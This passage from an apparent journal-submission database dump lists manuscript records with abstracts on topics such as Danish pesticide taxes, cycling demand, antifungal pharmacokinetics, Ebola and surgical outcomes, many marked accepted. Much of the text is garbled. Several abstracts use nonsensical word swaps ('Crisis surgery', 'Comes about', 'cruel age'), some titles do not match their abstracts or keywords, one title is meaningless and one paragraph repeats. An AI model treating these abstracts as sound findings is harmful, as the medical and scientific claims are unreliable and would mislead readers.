forum users describe, argue, and negotiate their understandings and usage of psychedelics, we contend that these discourses can be regarded as the frameworks that they can draw from and replicate. The significance of taking a nuanced approach to user impressions is illustrated by this study. Future drug policy and practise development should include these distinctions and prepare for wide variance in the purposes and modes of psychedelic use.','Psychedelics; illicit drugs; online forum; discourse analysis; user perspectives',3282,NULL,'2023-01-31',NULL,'Submitted',2,NULL,'2023-02-08',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13466,13644,85,0,'iphspr-23-13466','A Novel and Effective Tax Design of Danish Pesticide Tax of Ex-Post Evaluation',NULL,5,0,'','Externality taxes are seen as a crucial instrument in the environmental and climate policy toolbox. However, due to poor design and inadequate tax rates, externality taxes don\'t always live up to their potential. These issues are addressed by the Danish pesticide tax, which was revised in 2013 and differentiates tax rates based on how dangerous a product is and dramatically raises prices for the most harmful pesticides. Using a panel data set containing pesticide use on 1900 medium-sized and large farms two years before and four years after the tax adjustment, this article assesses the redesigned tax. We discover that the fee was successful in encouraging consumers to switch from more harmful items to less harmful ones, which led to a 16 percent decrease in pesticide burden. Retaliation for the pesticide tax changes from farm to farm depending on the types of crops planted. The work offers empirical proof that a correct tax design may overcome the low price sensitivity reported with earlier pesticide levies in Denmark and elsewhere, making it highly relevant for governments looking to reduce pesticide load. Additionally, this study provides a unique illustration of an ex-post evaluation that is based on comprehensive farm-level data and compares registered pesticide use before and after the tax revision, allowing for a more accurate estimation of the tax\'s effects. ','Environmental tax; pesticide tax; tax design; Tax effectiveness; policy evaluation; Ex-post evaluation',3282,NULL,'2023-01-31',NULL,'Submitted',2,NULL,'2023-02-08',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13467,13645,85,0,'iphspr-23-13467','Democratic Problem Solving In Denmark Digitalization for a Policy Response to Social Acceleration',NULL,5,0,'','For democratic issue resolution, societal acceleration—the ever quicker rate of technological, social, and life-pace change—poses a conundrum: It raises the number of new social issues that appear on the political calendar, which enhances the need for quick and impactful policy responses. However, democratic politics move slowly. Therefore, either the political system maintains democracy at the expense of problem solving or it speeds up decision-making at the expense of democracy. Both options are obviously undesirable. How do governments attempt to resolve this conundrum and offer positive-sum alternatives that are equally democratic and effective? We offer two \"paradigm instances\" of governments—Denmark and the Netherlands—that have responded to social acceleration through digitalization in a very swift and efficient manner. With attention We suggest how governments attempt to resolve the conundrum for democratic problem resolution under conditions of social acceleration based on four markers: awareness, timing, motivation for new strategic goals, and goal-directed strategic policy action.','Digitalization; Democratic problem solving; Social acceleration; Paradigm case studies',3282,NULL,'2023-01-31',NULL,'Submitted',2,NULL,'2023-02-08',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13468,13646,85,0,'iphspr-23-13468','Pseudo-Panel Analysis in Danish: Less Cycle of Our Children',NULL,5,0,'','The patterns of cycling demand for the Danish population are examined in this research. We examine the temporal stability of cycling demand preferences for various age cohorts in combination with residential city sizes using pseudopanels based on large-scale cross-sectional data. Demand for cycling is broken down into two effects. First, a \"selection\" impact in the population that explains the likelihood of being a biker, i.e., participating in cycling activities Second, if the respondent is a cyclist, there is a conditional need for cycling kilometres. A Gamma Hurdle model is used to estimate the joint probability model. Three empirical findings stand out from the study\'s many others. First off, the timeframe shows a fall in total cycling demand in Denmark. It is also demonstrated that this is mostly a selection impact. Therefore, rather than a reduction in trip distances for cyclists, a decreased riding population is essentially the main cause of the observed dip. Thirdly, younger generations, especially those living outside of major cities, are most affected by the downturn. ','Cycling; Pseudo-panel analysis; Hurdle and selection models; Dynamic transport preferences; Transport geography; Econometrics',3282,NULL,'2023-01-31',NULL,'Submitted',2,NULL,'2023-02-08',NULL,1,1,'1','Accept',0,'','',NULL,0,0,0,NULL,0),(13469,13647,73,0,'ipjnn-23-13469','Tendency to deviant reactions on the background of sleep disorders',NULL,14,0,'','Recently, more and more attention has been paid to the problems of sleep disorders in the educational environment. Purpose: to assess the level of deviant reactions against the \r\nbackground of the influence of sleep disorders in high school students and students. Methods. Subjective assessment of sleep indicators in 89 students was carried out using the Child Sleep \r\nQuestionnaire and the Epworth Sleepiness Rating Scale. To identify deviant tendencies, A.N. Orel and \"Methodology for detecting suicidal tendencies CP-45\" P.I. Yunatskevich. Results. \r\nThe article presents the results of assessing the propensity of high school students and students to deviant and auto-aggressive behavior against the background of sleep disorders \r\naccording to the survey data. There is an increase in the number of students with sleep disorders with a change in the level of education and under the influence of Internet addiction. \r\n43 students have a tendency towards a violation of the quality of sleep, while: 37.1% experienced difficulty falling asleep, 34.8% woke up often at night, 24.4% had early morning \r\nawakenings, 38.7% did not like the night\'s sleep. The highest level of suicidal reactions was noted in the female population of schoolgirls. The results obtained allow us to state that sleep \r\ndisorders in students are associated with a high risk of anti-vital activity, as well as a higher tendency to addictive and delinquent behavior. These disorders can lead to a deterioration in \r\nthe mental and physical health of students, as well as a decrease in academic performance. Conclusion. A more active identification and educational work among students of educational institutions in relation to somnological disorders as potential risk factors for deviant disorders is justified.','sleep disorders, deviant reactions, autoaggressive patterns and their predictors.',352,NULL,'2023-01-31',NULL,'Submitted',2,NULL,'2023-03-16',NULL,1,1,'1','   ',0,'','',NULL,0,0,0,NULL,0),(13470,13613,996,0,'ipar-23-13470','Young Adults with Inflammatory Arthritis and their Medications and Prognosis',NULL,25,0,'','Primary pain disorders (formerly “functional pain syndromes”) are common, under-diagnosed and under-treated in children and teenagers. This manuscript reviews key aspects which support understanding the development of pediatric chronic pain, points to the current pediatric chronic pain terminology, addresses effective treatment strategies, and discusses the evidence-based use of pharmacology. Common symptoms of an underlying pain vulnerability present in the three most common chronic pain disorders in pediatrics. primary headaches, centrally mediated abdominal pain syndromes, and/or chronic/recurrent musculoskeletal and joint pain. A significant number of children with repeated acute nociceptive pain episodes develop chronic pain in addition to or as a result of their underlying medical condition “chronic-on-acute pain.” We provide description of the structure and process of our interdisciplinary, rehabilitative pain clinic in Minneapolis, Minnesota, USA with accompanying data in the treatment of chronic pain symptoms that persist beyond the expected time of healing. An interdisciplinary approach combining rehabilitation; integrative medicine/active mind-body techniques; psychology; and normalizing daily school attendance, sports, social life and sleep will be presented. Pain improves and generally disappears as function is restored. Opioids are not indicated for primary pain disorders, and other drugs are usually not first-line treatment with a few exceptions.','pediatric pain clinic; chronic pain; interdisciplinary treatment',3649,NULL,'2023-02-02',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13471,13648,277,0,'ipadm-23-13471','Los valores fundamentales se basan en orgánulos que contienen impactos en la proteína de unión natural y humana. Core Values are Based Organelles That Contain Impacts on Natural and Human Binding Protein.',NULL,5,0,'',' ',' ',5022,NULL,'2023-02-03',NULL,'Submitted',2,NULL,'2023-02-09',NULL,1,1,'1','Proceed to publish.',0,'','',NULL,0,0,0,NULL,0),(13472,13649,981,0,'ipft-23-13472','According to Person to the Citizenry: Including Birthrate Geographic Diversity in Experimental Studies of Pharmacology',NULL,5,0,'','Due to a variety of circumstances, including previous and ongoing stressors, age, sex, and genetic make-up, humans react to chemical exposures differently. However, the impact of population-level variability within dose-response relationships has not been taken into account in the great majority of laboratory-based toxicity research. Risk assessment is made more difficult by the absence of information on how genetic variety affects how the body reacts to chemical exposure since everyone in the population will react differently to toxicant exposure. Notably, genetic variety is becoming increasingly important in laboratory models because it significantly influences how people\' responses to drugs or chemicals vary at the population level. Here, we provide numerous assay models that can be utilised in laboratories. genetically different cell lines, human primary cells, and genetically diverse mouse panels were used to study the impact of genetic variation on an individual\'s sensitivity to chemicals. To illustrate the potential, viability, and strength of each of these models, we also offer a brief summary of a number of important studies. The purpose of this article is to draw attention to the significance of incorporating population-level genetic variation into toxicological study designs using laboratory-based models in order to offer and augment data for evaluating the risk that chemicals pose to the general population. As a result, taking genetic variability into account will benefit risk assessment based on human behaviour and give empirical evidence to support and guide decision-making processes in connection to chemical exposures.','Genetic Variability, Risk Assessment, Population-Based Models',3971,NULL,'2023-02-03',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13473,13650,981,0,'ipft-23-13473','Brazilian pioneering female toxicologists',NULL,5,0,'','Around the world, women have always contributed significantly to the growth of toxicology. Particularly in Brazil, there are more women working in the field of toxicology than in other nations, although there are few of them in positions of authority. Only seven of the 22 presidents of the Brazilian Society of Toxicology have been female over the course of the organization\'s 48-year history, despite the fact that women make up more than 62% of its membership. Based on interviews with five of these scientists who have transformed the subject of toxicology in Brazil as we know it today in its respective sub-areas, this article seeks to recognise the contributions of women to the discipline in Brazil. Drs. Silvia Berlanga de Moraes Barros, Dr. Ester de Camargo Fonseca Moraes, and Dr. Alice Aparecida da Matta Chasin, Dr. Tania Marcourakis, and Dr. Gisela de Arago Umbuzeiro. They are not only pioneers, but they also serve as models of outstanding tenacity in overcoming obstacles. They busted through the glass ceiling and created opportunities for upcoming generations of female scientists. This essay is meant to encourage women to pursue professions in toxicology.','Toxicology, Women in toxicology, Brazil, Women in science, Brazilian scientists',3971,NULL,'2023-02-03',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13474,13651,981,0,'ipft-23-13474','pharmacology\'s historical, contemporary, and future traces in Turkey',NULL,5,0,'','Preclinical and clinical drug development is a protracted and difficult procedure. The Kingdom of Saudi Arabia (KSA) is showing an increased interest in promoting indigenous content, research, and innovation, including clinical trials (Phase I-IV). Saudi Arabia now has more than 650 registered clinical trials, and this number is anticipated to rise. Making sure that medications are used safely and effectively is a crucial component of drug research and clinical trials. Because it focuses on the effects of medications in humans, clinical pharmacology is essential for helping decision makers make well-informed choices during the drug development process. Clinical pharmacology includes areas of study include pharmacokinetics, pharmacodynamics, and pharmacogenomics. It is a developing field with numerous applications in all stages of Choosing the best dosages for Phase I, II, and III investigations, assessing bioequivalence and biosimilarity tests, and planning clinical studies are all part of drug development. Clinical pharmacology will be incorporated into research as well as regulatory bodies\' requirements, which will enhance the drug development process and speed up the pipeline. Additionally, clinical pharmacology is used in hands-on patient care with the aim of individualised treatment. To optimise dosing for patients on an individual basis, techniques including therapeutic drug monitoring, pharmacogenomics, and model guided precision dosing are applied. Clinical pharmacology is a subject that is underutilised in KSA, so we think it\'s crucial to educate the scientific community and healthcare professionals about its potential and uses. In this review article, we give a summary of on the usage and applications of clinical pharmacology in medical treatment as well as drug development.','Leonurus japonicas, Systems pharmacology, Menstrual disorders, Target prediction, Molecular docking',5434,NULL,'2023-02-03',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13475,13652,981,0,'ipft-23-13475','Anti - proliferative medication pharmacodynamics: practical considerations for enhancing quality of care',NULL,14,0,'','Given the high mortality rate of invasive fungal infections (IFIs), it appears essential for therapeutic efficacy and safety to receive the proper antifungal exposure.\r\nMaterials and procedures\r\nIn this study, the pharmacokinetic data on systemically administered antifungals with an emphasis on target-site penetration, co-morbidities, and combination antifungal therapy are summarised.\r\nDiscussion and conclusions\r\n\r\nThrough the urine and faeces, amphotericin B is removed unaltered. Both flucytosine and fluconazole have a low affinity for proteins and are excreted by the kidney. The liver is where itraconazole, voriconazole, posaconazole, and isavuconazole are metabolised. Azoles are implicated in a variety of drug-drug interactions because they are substrates and inhibitors of the cytochrome P450 (CYP) isoenzymes. In the plasma, anidulafungin degrades on its own. CYP is not involved in the enzymatic metabolism of capsofungin or micafungin in the liver. Despite the fact that various drug-drug interactions take place Echinocandins exhibit a lesser likelihood for drug-drug interactions when used in the caspofungin and micafungin treatments. The majority of pertinent tissues can be reached by flucytosine and azoles. Amphotericin B builds up in the spleen and liver. Its concentrations in the brain and myocardium are moderate, whereas those in the kidney and lung are low. Echinocandins have a comparable tissue distribution as amphotericin. For other IFIs such invasive aspergillosis and mucormycosis, such as cryptococcosis, combination antifungal therapy is debatable but has been proven effective for cryptococcosis.\r\nEchinocandins exhibit a lesser likelihood for drug-drug interactions when used in the caspofungin and micafungin treatments. The majority of pertinent tissues can be reached by flucytosine and azoles. Amphotericin B builds up in the spleen and liver. Its concentrations in the brain and myocardium are moderate, whereas those in the kidney and lung are low. Echinocandins have a comparable tissue distribution as amphotericin. For other IFIs such invasive aspergillosis and mucormycosis, such as cryptococcosis, combination antifungal therapy is debatable but has been proven effective for cryptococcosis.','Polyenes, Amphotericin B lipid formulations, Liposomal amphotericin B, Itraconazole, Voriconazole, Echinocandins, Caspofungin, Critically ill, Renal replacement therapy, Extracorporeal membrane oxygenation.',5434,NULL,'2023-02-03',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13476,13653,981,0,'ipft-23-13476','Chinese patients suffering from renal impairment: a cardiopulmonary exercise toxicokinetic concept.',NULL,3,0,'','To create preliminary physiologically based population models for Chinese patients with renal impairment and to assess the performance of new population models in predicting the effects of antibacterials cleared by the kidney. Chinese renal impairment patients\' demographic information and physiological parameters were first gathered, and new population models were then built by recalibrating the relative demographic and physiological equation\'s coefficients. Second, Caucasian renal impairment population models created in Simcyp, Chinese healthy volunteers, and Caucasian healthy volunteers gathered and verified drug-independent parameters of ceftazidime, cefodizime, vancomycin, and cefuroxime. Finally, four antibacterial medication plasma concentrations in Chinese patients with renal impairment were predicted using the newly built demographic models. The primary pharmacokinetic parameters can be predicted by the new physiologically based pharmacokinetic (PBPK) population models, including In Chinese patients with mild, moderate, and severe renal impairment, the area under the plasma concentration-time curve extrapolated to infinity (AUCinf), renal clearance (CLr), and peak concentration (C max) of ceftazidime, cefodizime, vancomycin, and cefuroxime were determined after intravenous administrations with less than a twofold error. In comparison to the population models for Caucasian renal impairment and Chinese healthy volunteers, the forecasts\' accuracy and precision increased. Four antimicrobial medicines were administered intravenously, and the first-step validation findings of the PBPK population models demonstrated adequate accuracy and precision. To support their applications on dose recommendations for Chinese patients with renal impairment, the population models still require further systematic validation through the use of more medications and scenarios in future investigations.','Chinese renal impairment patients, physiologically based pharmacokinetic model, predictive performance, renally cleared antibacterial drugs',5436,NULL,'2023-02-03',NULL,'Submitted',2,NULL,'2023-02-07',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13477,13654,45,0,'iphsj-23-13477','Formation of intellectual capital in the face of Covid-19',NULL,14,0,'','Social about entrepreneurship warn a process of deliberate, planned and systematic rational choice which promote intellectual capital formation are predominant determinants. Specify a model for the study of trust dimensions: experiences, knowledge, capabilities, emotions, and abilities. Not experimental, documentary and retrospective study with a nonrandom selection of sources indexed repositories, considering the keywords and the publication period 2015-2020. A model with eight hypotheses three paths dependency relationships between nine variables put forward in the state of knowledge was specified','Heads of Family, Social Work, entrepreneurship, specification, mode',643,NULL,'2023-02-06',NULL,'Submitted',2,NULL,'2023-04-25',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13478,13655,251,0,'ipacm-23-13478','Ebola Virus Disease: New and emerging infectious diseases',NULL,5,0,'','Human-to-human transmission fuels sporadic epidemics of severe, systemic febrile disease caused by Ebola virus strains. Even though Ebola viruses, particularly Ebola virus (EBOV), are well-known agents of viral haemorrhagic fever and there is international concern about Ebola virus disease (EVD) outbreaks, very little is known about the human immune correlates of survival and immune memory and the pathophysiology of EVD in humans. The absence of clinical and laboratory data from previous outbreaks is probably to blame for this lack of fundamental understanding of EVD\'s physiological characteristics. For the first time, cutting-edge laboratory equipment has been used to evaluate clinical, epidemiological, and immunological parameters in a significant number of patients as a result of the unprecedented scale of the EVD epidemic that swept through West Africa from 2013 to 2016. Human pathophysiologic and immunologic responses to filovirus infection will be summarized in this literature review.\r\n“An emerging disease is one that has appeared in a population for the first time, or that may have existed previously but is rapidly increasing in incidence or geographic range,” states the World Health Organization (WHO). Emerging infections are defined as \"infectious diseases whose incidence in humans has increased in the past two decades or threatens to increase in the near future\" by the Centers for Disease Control and Prevention (CDC). These diseases, which do not discriminate based on nationality, include: new infections brought on by changes or evolution in organisms that are already present; known infections reemerging as a result of antimicrobial resistance in known agents or breakdowns in public health measures, as well as previously unrecognized infections appearing in areas undergoing ecological transformation or spreading to new geographic areas or populations.\r\n','Ebola virus genus; Ebola Viruses; Immune memory; Human transmission; Haemorrhagic fever',789,NULL,'2023-02-06',NULL,'Submitted',2,NULL,'2023-02-09',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13479,13656,251,0,'ipacm-23-13479','Emerging bacterial pathogens and Bacterial Infection',NULL,5,0,'','Emerging pathogens are now considered to be a major microbiologic public health threat, and medical communities have been dealing with emerging and reemerging infectious diseases since the 1950s. This review focuses on bacterial emerging diseases and examines the factors that contributed to their emergence as well as potential obstacles in the future. We found 26 major bacterial-based emerging and recurrent infectious diseases; the majority of them came from either animals (known as zoonoses) or water sources.\r\nIn the elderly, infections account for the majority of morbidity and mortality. The frequency and severity of infections in elderly patients may be affected by a number of factors, including immunosenescence, comorbid chronic diseases, and changes in normal physiological organ functions. In those patients, normal body responses to the infection, such as an increase in temperature, may be blunted, making it difficult to distinguish infection from other diseases. The respiratory and urinary tracts are the most frequently affected systems in severe infections, which may also result in severe sepsis. In the elderly who are admitted to the intensive care unit (ICU), indwelling vascular catheters are also linked to bacteraemia and sepsis. Patients who are older are also more likely to contract the Clostridioides difficult infection. The other principles of antimicrobial stewardship, including careful fluid management and careful individualized optimization of antibiotic therapy, are warranted in order to prevent an increase in infection-related mortality, even though the general management of infections in severely ill elderly patients is the same as in younger patients. When treating critically ill elderly patients in the intensive care unit, organized team management is essential and will reduce infection-related morbidity and mortality.\r\n','Elderly, Severely ill, Infection, Antimicrobial stewardship, Immunosenescence, Antibiotics, Bacteria, Culture, Gram-negative',777,NULL,'2023-02-06',NULL,'Submitted',2,NULL,'2023-02-09',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13480,13657,251,0,'ipacm-23-13480','Viral Infections: Viral Diseases & New Viruses',NULL,5,0,'','In India, infectious diseases continue to be the leading cause of human and animal morbidity and mortality, which results in significant expenditures for healthcare. There have been numerous epidemics and outbreaks of infectious diseases in the nation. However, significant progress has been made in the past in the fight against major epidemic diseases like cholera, malaria, the plague, and leprosy. Unique patterns of viral disease distribution are revealed by the country\'s vast terrain, extreme geoclimatic differences, and uneven population distribution. With regard to the emergence of infectious diseases, dynamic interactions between biological, sociocultural, and ecological factors, in addition to novel aspects of human-animal interphase, present additional obstacles. Understanding the impact of factors that are necessary for the emergence of infectious diseases and developing strengthened surveillance systems that can reduce human suffering and death are two of the major obstacles that must be overcome in order to control and prevent emerging and re-emerging diseases. The major emerging and re-emerging viral infections of importance to public health that have already been included in the Integrated Disease Surveillance Programme are reviewed in this article.','Avian influenza, CCHF, Emerging, India, Nipah virus, Re-emerging, Respiratory viral infections, rotavirus, Viral diseases, Viral Infections, Hepatitis C virus (HCV), Antiviral treatment',781,NULL,'2023-02-06',NULL,'Submitted',2,NULL,'2023-02-09',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13481,13658,251,0,'ipacm-23-13481','History of Medical Microbiology',NULL,5,0,'','Using a unique single-lens microscope, Anton van Leeuwenhoek observed bacteria and other microorganisms in 1676. Edward Jenner came up with a way to successfully immunize a child against smallpox in 1796 using cowpox. Today, the same principles are used to create vaccines.\r\nIn 1857, Louis Pasteur created vaccines against anthrax, avian cholera, and rabies as well as pasteurization for food preservation as a follow-up to this.\r\nAntiseptic surgery is credited to Joseph Lister, who developed it in 1867. Post-operative infections were reduced by using diluted carbolic acid to sterilize the instruments and clean wounds, making surgery safer for patients. Between the years 1876 and 1884, Robert Koch shed a lot of light on infectious diseases.\r\nOne of the first researchers to concentrate on the isolation of bacteria in pure culture was him. This led to the germ theory, which holds that a specific disease is caused by a particular microorganism. The Koch\'s postulates are a set of criteria he came up with in response to this.\r\nThe Gram stain is a significant milestone in medical microbiology. The technique of staining bacteria to make them more visible and easier to distinguish under a microscope was developed in 1884 by Hans Christian Gram. Today, this method is used extensively.\r\nOn syphilis-infected rabbits, Paul Ehrlich conducted experiments in 1910 using various arsenic-based chemical combinations. After that, Ehrlich discovered that arsphenamine was able to kill syphilis spirochetes. In 1910, Salvarsan, the arsphenamines, were made available. In 1929, Alexander Fleming created the antibiotic that is still used the most frequently today: penicillin.\r\nGerhard Domagk discovered in 1939 that Prontosil red did not harm mice and protected them from pathogenic streptococci and staphylococci. The sulfa drug\'s discovery earned Domagk the Nobel Prize in Physiology or Medicine. During the 19th century, Joseph Lister demonstrated the isolation of bacteria in pure culture, Louis Pasteur demonstrated the formation of antibodies, and Paul Ehrlich demonstrated the idea of vaccination with attenuated microorganisms. Medical microbiology has advanced rapidly since then (ASM, 1999). As medical advancements continue, numerous new pathogens are still being described (CDC, webpage). Our ability to identify, categorize, and comprehend microorganisms has undergone a revolution thanks to molecular diagnostic methods over the past two decades. Molecular methods are being used in an increasing number of diagnostic tests, including those that are available for purchase. Some proponents predict that they could eventually take the place of culture as the standard method of research in laboratories.\r\nMost of the time, commensal and environmental organisms are to blame for serious nosocomial infections. It is not always easy to tell the difference between a primary pathogen, a commensal, and a contaminant. Immunocompromised patients frequently encounter this circumstance. Consequently, the clinician and medical microbiologist must work together closely to ensure that laboratory results are appropriately interpreted. Clinical microbiology is now more than just a service that processes specimens and provides results. It also offers advice on how to collect specimens, interpret results, manage patients, choose antimicrobials, and control infections that are acquired in hospitals.\r\n','Single-lens microscope; Antiseptic surgery; Environmental organisms; Medical microbiology; Antimicrobials infections',783,NULL,'2023-02-06',NULL,'Submitted',2,NULL,'2023-02-09',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13482,13659,251,0,'ipacm-23-13482','Human Immunodeficiency Virus (HIV) and Symptoms',NULL,5,0,'','Methodical reviews with meta-analyses of experimental studies and health issues associated with mortal immunodeficiency contagion (HIV) but not acquired immunodeficiency pattern were used to evaluate the credibility and strength of substantiation.\r\nEquipment We included methodical reviews and meta-analyses of experimental studies (cross-sectional, case-control, or retrospective and prospective cohort studies) that investigated the connection between HIV and physical health problems. Methodical reviews with meta-analyses that reported HIV data (diagnosed through tone-reports or laboratory evidence) and meta-analyses of cross-sectional or cohort studies that delved into the association of HIV with any health outgrowth (e.g. a heart condition, cancer, obesity, diabetes, or metabolic disorders). These issues had to be reported as odds rates, relative risks (RRs), hazard rates, or nonstop data (formalized, weighted, or mean difference) in studies. Any language could have been used to publish studies. Studies that dealt with HIV infection style supplements or immunosuppression were excluded. We conducted a comprehensive analysis of experimental studies. The degree of support was determined to be either satisfactory, largely suggestive, weak, or no significant\r\n',' ',787,NULL,'2023-02-06',NULL,'Submitted',2,NULL,'2023-02-09',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(13483,13661,667,0,'iptb-23-13483','Women\'s Cardiovascular Disease Requires A Comprehensive Translational Approach',NULL,5,0,'','High rates of morbidity and mortality are linked to heart disease in women. While many of the underlying causes of cardiovascular disease are the same for both sexes, women are more likely than men to die from coronary heart disease, have a higher rate of sudden cardiac death without symptoms, and are more likely to die from myocardial infarction than men. Although efforts to identify preventive measures have increased in recent years, the translation of information from epidemiological studies and clinical trials remains incomplete, particularly for women. The Clinical and Translational Science Award program, which was just launched by the National Institutes of Health, provides opportunities to fill in these gaps and is a one-of-a-kind chance to train a new generation of researchers who are familiar with important issues pertaining to women\'s cardiovascular health.','Heart Disease, Informatics, Education, Translational Research',5429,NULL,'2023-02-07',NULL,'Submitted',2,NULL,'2023-11-07',NULL,1,1,'0','Accept ',0,NULL,NULL,NULL,0,0,0,NULL,0),(13484,13660,326,0,'IPJUS-23-13484','Crisis Surgery Mortality (ESM) Score to Foresee Mortality and Improve Quiet Care in Crisis Surgery',NULL,5,0,'','Crisis surgery has destitute results with tall mortality. Various ponders have detailed the hazard components for postoperative passing in arrange to stratify hazard and move forward perioperative care; all things considered, a prescient show based upon these hazard variables is missing. Objective. We pointed to distinguish the chance components of postoperative mortality and to develop a unused show for anticipating mortality and progressing quiet care. Strategies. We included grown-up patients experiencing crisis surgery at Srinagarind Healing center between January 2012 and December 2014. The patients were randomized: 80% to the Preparing gather for demonstrate development and 20% to the Approval gather. Quiet information were extricated from restorative records and after that analyzed utilizing univariate and multivariate calculated relapse. Comes about. We enlisted 758 patients, and the mortality rate was 14.5%. The Preparing gather comprised 596 patients, and the Approval gather comprised 162. Based upon a multivariate examination within the Preparing g','Crisis, ponders, mortality, restorative',5413,NULL,'2023-02-07',NULL,'Submitted',2,NULL,'2023-02-21',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13485,13662,326,0,'IPJUS-23-13485','Current Confinements and Points of view in Single Harbour Surgery: Stars and Cons Laparo-Endoscopic Single-Site Surgery (LESS) for Renal Surgery',NULL,5,0,'','Laparo-Endoscopic Single-Site surgery (LESS) for kidney illnesses is rapidly advancing and incorporates a propensity to extend the urological armory of surgical methods. Be that as it may, we ought to not be overpowered by the surgical abilities as it were and weight it against the essential clinical and oncological standards when compared to standard laparoscopy. The initial goal is to characterize the perfect candidates and perfect centers for LESS within the future. Adjustment of essential disobedient in laparoscopy probably cannot result in superior utilitarian and oncological results, particularly when the ideal working space is restricted with the same arm developments. Single harbour surgery is considered negligibly obtrusive laparoscopy; on the other hand, when using extra ports, it is no more single harbour, but hybrid conventional laparoscopy. Whether LESS could be a prevalent or similarly method compared to conventional laparoscopy must be demonstrated by future planned randomized trials.','urological, surgical, oncological, laparoscopy',5413,NULL,'2023-02-07',NULL,'Submitted',2,NULL,'2023-02-21',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13486,13663,326,0,'IPJUS-23-13486','Hazard and Result after Synchronous Carotid Surgery and Cardiac Surgery Single Middle Experience',NULL,5,0,'','Carotid course stenosis in patients experiencing open-heart surgery may increment hazard and fall apart result. The point of the consider was the investigation of dangers and result after synchronous carotid and cardiac surgery. Strategies. We reflectively surveyed the restorative records of 100 continuous patients who experienced synchronous carotid surgery and open-heart surgery amid a 5-year period (from 2006 to 2010). Seventy patients were male and 30 female; the cruel age was 70.9±7.9 a long time (middle: 71.8 a long time). Seventy-three patients experienced coronary bypass joining (CABG), 18 patients combined CABG and valve methods, 7 patients CABG combined with other strategies, and 3 patients separated valve surgery. More than half of patients had had respective carotid supply route pathology (n=51) counting contralateral carotid course impediment in 12 cases. Comes about. Carotid course fix plasty was performed in 71 patients and eversion strategy in 29. In 75 cases an intraluminal shunt was utilized.','Carotid, surgery, patients, synchronous',5413,NULL,'2023-02-07',NULL,'Submitted',2,NULL,'2023-02-21',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13487,13665,326,0,'IPJUS-23-13487','Retrograde Intrarenal Surgery in Patients Experienced Open Renal Stone Surgery',NULL,5,0,'','Reason. To discover whether retrograde intrarenal surgery (RIRS) is as successful in patients treated already with open renal stone surgery (ORSS) on the same kidney as in patients with no past ORSS. Strategies. There were 32 patients with renal stones who had past ORSS and were treated with RIRS within the consider gather (Gather 1). A add up to  of 38 patients with renal stones who had no past ORSS and were treated with RIRS were chosen as the control bunch (Bunch 2). Recorded information with respect to preoperative characteristics of the patients, stone properties, surgical parameters, results, SFRs (no parts or little parts <4?mm), and complications between bunches were compared. Comes about. Cruel age, cruel BMI,Intrarenal  cruel healing center remain, and cruel agent time were not factually diverse between bunches. Cruel stone measure (10.1 ± 5.6 versus 10.3 ± 4.2; ) and cruel stone burden (25.4 ± 14.7 versus 23.5 ± 9.9; ) were moreover comparative between bunches. After the moment strategies, SFRs were 100% and 95','Intrarenal, Surgery, Patients, Renal Stone Surgery',5413,NULL,'2023-02-07',NULL,'Submitted',2,NULL,'2023-02-21',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13488,13664,326,0,'IPJUS-23-13488','Full Endoscopic Surgery for Thoracic Pathology: Following Step after Acing Lumbar and Cervical Endoscopic Spine Surgery',NULL,5,0,'','Thoracic plate herniation and stenosis are moderately uncommon, and different indications make them troublesome to analyze. Due to the complexity of neural and vascular structure, surgical treatment of thoracic pathology is challenging. Endoscopic spine surgery is an rising negligibly obtrusive surgical alternative. Based on wide involvement on the cervical and lumbar spine, an endoscopic approach for the thoracic pathology can be performed past the learning bend. Transforaminal approach for thoracic circle herniation, endoscopic one-sided approach, and reciprocal decompression for thoracic stenosis have been detailed as favorable and secure surgical alternatives. Within the display consider, the creators portrayed the nitty gritty surgical strategy as well as tips and tricks.','Endoscopic, Surgery, PathologY, Spine Surgery',5413,NULL,'2023-02-07',NULL,'Submitted',2,NULL,'2023-02-21',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13489,13666,667,0,'iptb-23-13489','Initiative of the Children\'s Oncology Group on Rare Tumors: The First Lessons Learned and Their Effect on Plans for the Future',NULL,5,0,'','When the National Wilma Tumor Study Group, the Intergroup Rhabdomyosarcoma Study Group, the Pediatric Oncology Group, and the Children\'s Cancer Group merged in 2000, it gave the newly formed Children\'s Oncology Group a chance to investigate uncommon cancers that had not been the subject of organized evaluation within the framework of a cooperative group. The rare tumor committee was established by the COG in 2002 and consists of four subcommittees. The brief tumor subcommittee\'s period of experience is described in this article. We have observed low registration rates within the COG registry and low participation rates in open banking, biology, and first-line therapeutic studies during the initial implementation of this strategy. We have been able to come up with new ways to increase clinical trial enrolment and registration rates thanks to this initial experience. With these new plans, it is hoped that we will be able to learn more about the biology of young patients with rare cancers and improve their treatment outcomes. Additionally, our initial experience has demonstrated the potential strength of global cooperation and 